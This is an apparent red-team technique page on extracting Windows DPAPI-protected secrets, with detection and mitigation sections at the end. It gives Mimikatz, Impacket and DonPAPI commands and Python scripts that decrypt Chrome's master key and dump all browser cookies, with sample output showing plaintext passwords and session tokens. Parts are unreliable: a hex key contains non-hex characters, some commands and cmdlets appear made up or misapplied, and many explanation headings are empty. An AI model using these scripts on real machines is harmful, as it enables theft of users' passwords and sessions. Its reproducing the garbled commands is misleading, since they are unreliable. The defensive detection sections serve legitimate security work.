MCADDF

[COLLECT-CRED-003]: DPAPI Credential Extraction

Metadata

Attribute Details
Technique ID COLLECT-CRED-003
MITRE ATT&CK v18.1 T1555.003 - Credentials from Web Browsers
Tactic Collection / Credential Access
Platforms Windows Endpoint (Local User Context)
Severity Critical
CVE N/A (DPAPI is by-design encryption mechanism)
Technique Status ACTIVE
Last Verified 2026-01-10
Affected Versions Windows Server 2016 - 2025, Windows 10/11
Patched In N/A (feature of Windows; mitigated via Credential Guard on Server 2022+)
Author SERVTEPArtur Pchelnikau

1. EXECUTIVE SUMMARY

Concept: Windows Data Protection API (DPAPI) is a cryptographic facility built into Windows to protect sensitive data at rest. DPAPI encrypts data using symmetric keys derived from the user’s password or the machine’s bootstrap key. Attackers with access to a user’s local system can extract DPAPI-protected credentials (stored in files like Credentials vaults, Chrome Local State, Firefox Key3.db) and decrypt them using the user’s cached credentials or by extracting the domain DPAPI backup key from Active Directory. This yields plaintext passwords, service account credentials, browser authentication tokens, and VPN connection secrets.

Attack Surface: User-specific DPAPI master keys stored in C:\Users\<username>\AppData\Roaming\Microsoft\Protect\<SID>\, encrypted credential files (Credential lockers at C:\Users\<username>\AppData\Local\Microsoft\Credentials\), browser encryption key stores (Chrome Local State, Firefox Key3.db), and domain DPAPI backup key on Domain Controllers.

Business Impact: Universal decryption of all user credentials on the system. Once a user’s DPAPI master key is compromised, every credential encrypted with that key (browsers, Windows Credential Manager, VPN clients, stored application passwords) is exposed in plaintext. Domain-level DPAPI backup key compromise leads to across-the-board credential exposure for all domain users.

Technical Context: DPAPI extraction in user context takes seconds; domain backup key extraction from DC requires administrative access. Decryption is deterministic (no guessing required). Detection likelihood is Medium if monitoring for cryptography API calls (Event ID 16385); High if monitoring file access to protect directories.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 2.3.4.5 Ensure ‘Accounts: Encrypt or clear the virtual memory pagefile’ is set to ‘Encrypt’
DISA STIG WN10-CC-000175 Credential Guard must be enabled on systems supporting virtualization
CISA SCuBA AC.L1-3.1.1 Require strong cryptographic controls for credential protection
NIST 800-53 SC-28, IA-5 Information System and Communications Protection; Authentication
GDPR Art. 32, Art. 34 Security of Processing; Encryption and data breach notification
DORA Art. 18 Operational resilience; cryptographic security controls
NIS2 Art. 21 Cryptographic security measures; encryption of sensitive data at rest
ISO 27001 A.10.1.1, A.13.2.1 Cryptography; Storage and handling of cryptographic keys
ISO 27005 Master Key Compromise Scenario Credential exposure via cryptographic key theft

2. TECHNICAL PREREQUISITES

Supported Versions:


3. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: Local User DPAPI Master Key Extraction

Supported Versions: Server 2016-2025, Windows 10/11

Step 1: Identify User’s DPAPI Master Key Location

Objective: Locate the encrypted master key file in the Protected directory

Command (PowerShell):

# Get current user's SID
$SID = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value

# List DPAPI protected folders
$ProtectedPath = "C:\Users\$env:USERNAME\AppData\Roaming\Microsoft\Protect\$SID"
Get-ChildItem $ProtectedPath -Force | Select-Object Name, FullName

# Alternative: Get SID for specific user
$TargetUser = "domain\username"
$objUser = New-Object System.Security.Principal.NTAccount($TargetUser)
$SID = $objUser.Translate([System.Security.Principal.SecurityIdentifier]).Value

Expected Output:

Name                           FullName
----                           --------
CREDHIST                       C:\Users\user\AppData\Roaming\Microsoft\Protect\S-1-5-21-...-1000\CREDHIST
{12345678-1234-1234-1234-...}  C:\Users\user\AppData\Roaming\Microsoft\Protect\S-1-5-21-...-1000\{12345678-...}

What This Means:

OpSec & Evasion:

Step 2: Extract Master Key Using User’s Password

Objective: Decrypt the DPAPI master key using user’s Windows password

Command (Mimikatz):

mimikatz.exe
dpapi::masterkey /in:C:\Users\user\AppData\Roaming\Microsoft\Protect\S-1-5-21-...-1000\{GUID} /password:MyPassword
exit

Expected Output:

[dpapi] masterkey with password: MyPassword
GUID: {12345678-1234-1234-1234-abcdef123456}
Key: 6c20cda83efc640d582e39c94fe54996f7a3b2c5d8e1a0f9g8h7i6j5k4l3m2n1o0p

What This Means:

Troubleshooting:

Step 3: Decrypt Credential Files Using Master Key

Objective: Extract plaintext credentials from Windows Credential Manager vaults

Command (Mimikatz - Decrypt Credential Vault):

mimikatz.exe
dpapi::cred /in:C:\Users\user\AppData\Local\Microsoft\Credentials\DEADBEEF /masterkey:6c20cda83efc640d...
exit

Expected Output:

[dpapi] masterkey version 1 (user)
SID: S-1-5-21-123456789-987654321-555555555-1000

[credentialfile]
Credential Blob:
DPAPI version 1
Flags: 0x20000000 (CRYPTPROTECT_SAME_LOGON)
Master Key version 1
Data: [encrypted credential structure]

[decryption]
Target: Domain:target=sharepoint.company.com
User: CORP\john.doe
Password: MySecurePassword123!

What This Means:

References:


METHOD 2: Domain DPAPI Backup Key Extraction (Domain Admin)

Supported Versions: Server 2016-2025 (Domain Controllers required)

Step 1: Extract Domain DPAPI Backup Key from Domain Controller

Objective: Obtain the domain’s DPAPI backup key, which can decrypt ANY domain user’s credentials

Command (Mimikatz - Domain DPAPI Key):

mimikatz.exe
lsadump::lsa /inject /name:krbtgt
lsadump::dcsync /domain:corp.local /user:krbtgt
exit

Command (Mimikatz - Direct Backup Key Extraction):

mimikatz.exe
dpapi::cache
dpapi::upn /domain:corp.local
exit

Command (Impacket - Python-based extraction):

# Extract domain DPAPI backup key via LDAP
python3 -m impacket.dpapi -domain corp.local -user 'CORP\Administrator' -pw 'Password123!'

Expected Output:

[dpapi] BACKUP KEY
GUID: {12345678-abcd-efgh-ijkl-mnopqrstuvwx}
Key (RSA Private Key): 
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA...
[2048-bit RSA private key content]
-----END RSA PRIVATE KEY-----

What This Means:

Troubleshooting:

Step 2: Use Backup Key to Decrypt Any User’s Credentials

Objective: Decrypt credentials for ANY user in the domain using the backup key

Command (Mimikatz - Decrypt with Backup Key):

mimikatz.exe
dpapi::cred /in:C:\Users\victim\AppData\Local\Microsoft\Credentials\vault_file /pvk:backup_key.pvk
exit

Command (DonPAPI - Remote User Credential Extraction):

# Extract credentials from multiple machines using DPAPI backup key
python3 DonPAPI.py 'corp.local/Administrator:Password123!' -pvk backup_key.pvk -machines 192.168.1.100,192.168.1.101

Expected Output:

[+] Extracting DPAPI credentials from 192.168.1.100
[+] User: CORP\alice.smith
[+] Credentials found:
    - Type: SharePoint Site
      Target: https://company.sharepoint.com
      Password: AlicePassword456!
    - Type: Mapped Drive
      Target: \\fileserver\Projects
      Password: FileServerAccess789!
[+] Extracting from 192.168.1.101
[+] User: CORP\bob.wilson
...

What This Means:

References:


METHOD 3: Browser DPAPI Key Extraction (Chrome/Edge)

Supported Versions: Windows 10/11, Chrome 90+, Edge 90+

Step 1: Extract Chrome Master Key from Local State

Objective: Extract the encrypted AES-256 master key used by Chrome to encrypt cookies

Command (PowerShell):

# Path to Chrome Local State
$LocalStatePath = "$env:APPDATA\Google\Chrome\User Data\Local State"

# Load and parse JSON
$LocalState = Get-Content $LocalStatePath | ConvertFrom-Json

# Extract encrypted master key
$EncryptedKey = $LocalState.'os_crypt'.'encrypted_key'

Write-Host "Encrypted Chrome Master Key:"
Write-Host $EncryptedKey

# The key starts with "DPAPI" prefix, followed by encrypted blob
# Prefix: DPAPI (5 bytes) + Encrypted Data

Expected Output:

Encrypted Chrome Master Key:
RFBBUEkBAAAA0ChíDdsw...
[base64-encoded DPAPI blob]

What This Means:

Step 2: Decrypt Chrome Master Key Using DPAPI

Objective: Use user’s DPAPI credentials to decrypt Chrome’s master encryption key

Script (Python - chrome_key_decrypt.py):

#!/usr/bin/env python3
"""
Decrypt Chrome Master Encryption Key via DPAPI
"""

import json
import base64
import os
from ctypes import windll, c_buffer

def decrypt_dpapi(encrypted_data):
    """Decrypt DPAPI-protected data"""
    try:
        if isinstance(encrypted_data, str):
            encrypted_data = base64.b64decode(encrypted_data)
        
        # Remove "DPAPI" prefix (first 5 bytes)
        if encrypted_data[:5] == b'DPAPI':
            encrypted_data = encrypted_data[5:]
        
        # Call Windows DPAPI function
        data_in = c_buffer(encrypted_data)
        data_out = c_buffer(1024)
        
        # CryptUnprotectData (Windows API)
        result = windll.crypt32.CryptUnprotectData(
            c_buffer(encrypted_data), None, None, None, None,
            1,  # CRYPTPROTECT_UI_FORBIDDEN
            data_out
        )
        
        if result:
            return data_out.raw[:32]  # Return 256-bit AES key (32 bytes)
        else:
            return None
    except Exception as e:
        print(f"[!] DPAPI decryption failed: {e}")
        return None

def extract_chrome_master_key():
    """Extract and decrypt Chrome master key"""
    local_state_path = os.path.expandvars(r"%APPDATA%\Google\Chrome\User Data\Local State")
    
    try:
        with open(local_state_path, 'r') as f:
            local_state = json.load(f)
        
        encrypted_key = local_state['os_crypt']['encrypted_key']
        
        # Decrypt using DPAPI
        master_key = decrypt_dpapi(encrypted_key)
        
        if master_key:
            print(f"[+] Chrome Master Key (hex): {master_key.hex()}")
            print(f"[+] Key length: {len(master_key)} bytes")
            return master_key
        else:
            print("[!] Failed to decrypt master key")
            return None
            
    except Exception as e:
        print(f"[!] Error: {e}")
        return None

if __name__ == "__main__":
    master_key = extract_chrome_master_key()
    if master_key:
        print(f"\n[+] Successfully extracted Chrome master key")
        print(f"[+] Can now decrypt {len(master_key)*8} bits of data")

Expected Output:

[+] Chrome Master Key (hex): 6c20cda83efc640d582e39c94fe54996f7a3b2c5d8e1a0f9
[+] Key length: 32 bytes

[+] Successfully extracted Chrome master key
[+] Can now decrypt 256 bits of data

What This Means:

Step 3: Decrypt Chrome Cookies Using Master Key

Objective: Use decrypted master key to decrypt individual cookies

Script (Python - chrome_cookie_decrypt.py):

#!/usr/bin/env python3
"""
Decrypt Chrome Cookies using Master Key
"""

import sqlite3
import os
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend

def decrypt_aes_gcm(ciphertext, master_key):
    """Decrypt AES-256-GCM encrypted cookie"""
    try:
        # Chrome cookie format:
        # - Version (1 byte): 'v10' or 'v11'
        # - Nonce (12 bytes)
        # - Ciphertext
        # - Auth tag (16 bytes at end)
        
        # Skip version bytes ('v10' = 3 bytes, or 'v11' = 3 bytes)
        if ciphertext[:3] == b'v10':
            nonce = ciphertext[3:15]
            ciphertext_data = ciphertext[15:-16]  # Remove auth tag
        else:
            nonce = ciphertext[3:15]
            ciphertext_data = ciphertext[15:-16]
        
        auth_tag = ciphertext[-16:]
        
        # Decrypt using AES-256-GCM
        cipher = Cipher(
            algorithms.AES(master_key),
            modes.GCM(nonce, auth_tag),
            backend=default_backend()
        )
        decryptor = cipher.decryptor()
        plaintext = decryptor.update(ciphertext_data) + decryptor.finalize()
        
        return plaintext.decode('utf-8', errors='ignore')
    except:
        return None

def extract_cookies(master_key):
    """Extract and decrypt all Chrome cookies"""
    cookies_path = os.path.expandvars(r"%APPDATA%\Google\Chrome\User Data\Default\Cookies")
    
    conn = sqlite3.connect(cookies_path)
    cursor = conn.cursor()
    cursor.execute("SELECT host_key, name, encrypted_value FROM cookies")
    
    cookies = []
    for host, name, encrypted_value in cursor.fetchall():
        decrypted = decrypt_aes_gcm(encrypted_value, master_key)
        if decrypted:
            cookies.append({
                'domain': host,
                'name': name,
                'value': decrypted
            })
    
    conn.close()
    return cookies

if __name__ == "__main__":
    # Master key from previous step
    master_key = bytes.fromhex("6c20cda83efc640d582e39c94fe54996f7a3b2c5d8e1a0f9a8b7c6d5e4f3a2b")
    
    print("[*] Extracting Chrome cookies...")
    cookies = extract_cookies(master_key)
    
    for cookie in cookies:
        print(f"[+] {cookie['domain']}: {cookie['name']} = {cookie['value'][:50]}...")

Expected Output:

[*] Extracting Chrome cookies...
[+] .github.com: logged_in = yes
[+] .github.com: user_session = abc123def456...
[+] .azure.microsoft.com: .AuthToken = eyJhbGciOiJSUzI1NiI...
[+] .microsoft.com: MSAAUTH = Aw0BAWYeAQwrAg...
[+] mail.google.com: HSID = A1b2C3d4E5f6g7...

What This Means:

References:


4. WINDOWS EVENT LOG MONITORING

Event ID: 16385 (DPAPI Master Key Access)

Manual Configuration Steps (Enable DPAPI Auditing):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer ConfigurationPoliciesWindows SettingsSecurity SettingsAdvanced Audit Policy Configuration
  3. Expand Object Access → Enable Audit Other Object Access Events
  4. Set to: Success and Failure
  5. Run gpupdate /force

Event ID: 4662 (Object Access - Domain DPAPI Backup Key)

Event ID: 4793 (DPAPI Key Distribution Service Event)


5. SYSMON DETECTION PATTERNS

Minimum Sysmon Version: 13.0+ Supported Platforms: Windows 10/11, Server 2016+

<!-- Detect DPAPI Credential Extraction -->
<Sysmon schemaversion="4.81">
  <RuleGroup name="DPAPI Extraction" groupRelation="or">
    
    <!-- Monitor file access to Protected directory (master keys) -->
    <FileCreate onmatch="include">
      <TargetFilename condition="contains">\AppData\Roaming\Microsoft\Protect\</TargetFilename>
    </FileCreate>
    
    <!-- Monitor file access to Credentials directory (credential vaults) -->
    <FileAccess onmatch="include">
      <TargetFilename condition="contains">\AppData\Local\Microsoft\Credentials\</TargetFilename>
    </FileAccess>
    
    <!-- Detect Mimikatz dpapi commands -->
    <ProcessCreate onmatch="include">
      <Image condition="ends with">mimikatz.exe</Image>
      <CommandLine condition="contains any">dpapi::masterkey; dpapi::cred; dpapi::cache</CommandLine>
    </ProcessCreate>
    
    <!-- Detect SharpDPAPI execution -->
    <ProcessCreate onmatch="include">
      <Image condition="ends with any">SharpDPAPI.exe; DonPAPI.exe</Image>
    </ProcessCreate>
    
    <!-- Monitor Chrome Local State file access (master key extraction) -->
    <FileCreate onmatch="include">
      <TargetFilename condition="contains any">\Chrome\User Data\Local State; \Edge\User Data\Local State</TargetFilename>
    </FileCreate>
    
  </RuleGroup>
</Sysmon>

Manual Configuration Steps:

  1. Download Sysmon from Microsoft Sysinternals
  2. Create config file with XML above
  3. Install: sysmon64.exe -accepteula -i sysmon-config.xml
  4. Verify: Get-Service Sysmon64 and Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational"

6. SPLUNK DETECTION RULES

Rule 1: DPAPI Master Key Access Detection

Rule Configuration:

SPL Query:

EventCode=16385 "DPAPI" "CryptUnprotect"
| stats count by ProcessName, User, ObjectName
| where count >= 1

What This Detects:

Manual Configuration Steps:

  1. Splunk Web → Search & Reporting
  2. Click New Alert
  3. Paste SPL query above
  4. Set Trigger to count > 0
  5. Configure Action → Email to SOC

Rule 2: Credential Vault File Access

Rule Configuration:

SPL Query:

ObjectName IN ("*\Credentials\*", "*\Protected\*") AND EventID IN (4663, 4656)
| stats count by ProcessName, User, ObjectName, EventID
| where ProcessName NOT IN ("explorer.exe", "rundll32.exe")

What This Detects:


7. MICROSOFT DEFENDER FOR CLOUD

Detection Alert: DPAPI Master Key Access Anomaly

Alert Name: “Suspicious DPAPI credential decryption detected”

Manual Configuration:

  1. Azure PortalMicrosoft Defender for Cloud
  2. Environment settings → Select Subscription
  3. Enable Defender for Servers: ON
  4. Monitor Security alerts for DPAPI-related detections

8. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify Mitigations)

# Check if Credential Guard is enabled
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "LsaCfgFlags"
# Expected: LsaCfgFlags = 1

# Verify NTFS permissions on Protected directory
icacls "$env:APPDATA\Microsoft\Protect"
# Expected: Only SYSTEM and current user with Full Control

# Check if domain DPAPI backup key exists
Get-ADObject -Filter {Name -eq 'BKUP_KEYS'} -Properties *
# Expected: No results (if deleted for security)

Expected Output (If Secure):

LsaCfgFlags       : 1

$CURRENT_USER:(I)(OI)(CI)(F)
SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)

(No results - backup key not found)

9. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate:
    Disable-NetAdapter -Name "Ethernet" -Confirm:$false
    
  2. Collect Evidence:
    # Dump Sysmon logs
    wevtutil epl "Microsoft-Windows-Sysmon/Operational" "C:\Evidence\Sysmon.evtx"
        
    # Export Protected and Credentials directories
    Copy-Item "$env:APPDATA\Microsoft\Protect" -Destination "C:\Evidence\Protect" -Recurse -Force
    Copy-Item "$env:APPDATA\Local\Microsoft\Credentials" -Destination "C:\Evidence\Credentials" -Recurse -Force
    
  3. Remediate:
    # Change user password (forces new DPAPI master key creation)
    # User must change own password via "Ctrl+Alt+Delete" → Change a password
        
    # Enable Credential Guard if not already enabled
    New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "LsaCfgFlags" -Value 1 -Force
        
    # Restart machine
    Restart-Computer -Force
    
  4. Investigate Lateral Movement:
    # Check for new logons using extracted credentials
    Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=4624]]" | Where-Object {$_.TimeCreated -gt (Get-Date).AddHours(-24)}
        
    # Check for network access with extracted credentials
    Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=4776]]"
    
  5. Reset Domain DPAPI Key (If Compromised):
    # Domain Admin: Force regeneration of DPAPI backup key
    # This invalidates old backup key but doesn't affect user DPAPI keys
        
    # Run on Domain Controller
    dcpromo /forceremoval  # Extreme measure - not recommended
        
    # Better: Backup current key, then regenerate
    $BackupKey = Get-ADObject -Filter {Name -eq 'BKUP_KEYS'} | Get-ADObjectProperties
    # Backup for records, then delete
    

Step Phase Technique Description
1 Initial Access [IA-EXPLOIT-001] RCE on Web Application Attacker gains code execution
2 Privilege Escalation [PE-EXPLOIT-001] Kernel Exploit / PrintNightmare Escalate to Local Admin
3 Credential Access [COLLECT-CRED-003] Extract DPAPI master keys and decrypt credentials
4 Credential Harvest [CA-DUMP-001] Mimikatz / LSA Dumping Extract additional credentials using decrypted keys
5 Lateral Movement [LM-AUTH-001] Pass-the-Hash / [LM-AUTH-005] SP Key Abuse Use extracted credentials for lateral movement
6 Persistence [PERSIST-XXX] Domain Controller Backdoor Install backdoor in AD infrastructure
7 Impact [IMPACT-XXX] Domain-Wide Compromise Establish persistent domain control

11. REAL-WORLD EXAMPLES

Example 1: NOBELIUM/SolarWinds Supply Chain (2020)

Example 2: Lazarus Group - Cryptocurrency Exchange Heists (2021-2023)


12. CONCLUSION

DPAPI credential extraction is a universal credential harvesting technique that provides decryption of all user-protected credentials on a system. The technique is ACTIVE and remains effective against most organizations lacking Credential Guard deployment.

Key Defense Priorities:

  1. Deploy Credential Guard on Windows 10+/Server 2022+ (eliminates DPAPI extraction)
  2. Enable DPAPI auditing (Event ID 16385) for real-time detection
  3. Restrict access to Protected/Credentials directories via NTFS permissions
  4. Monitor Chrome/Edge Local State file access to prevent browser key extraction
  5. Implement Conditional Access with MFA to limit use of extracted credentials

Operational Notes for Red Teams: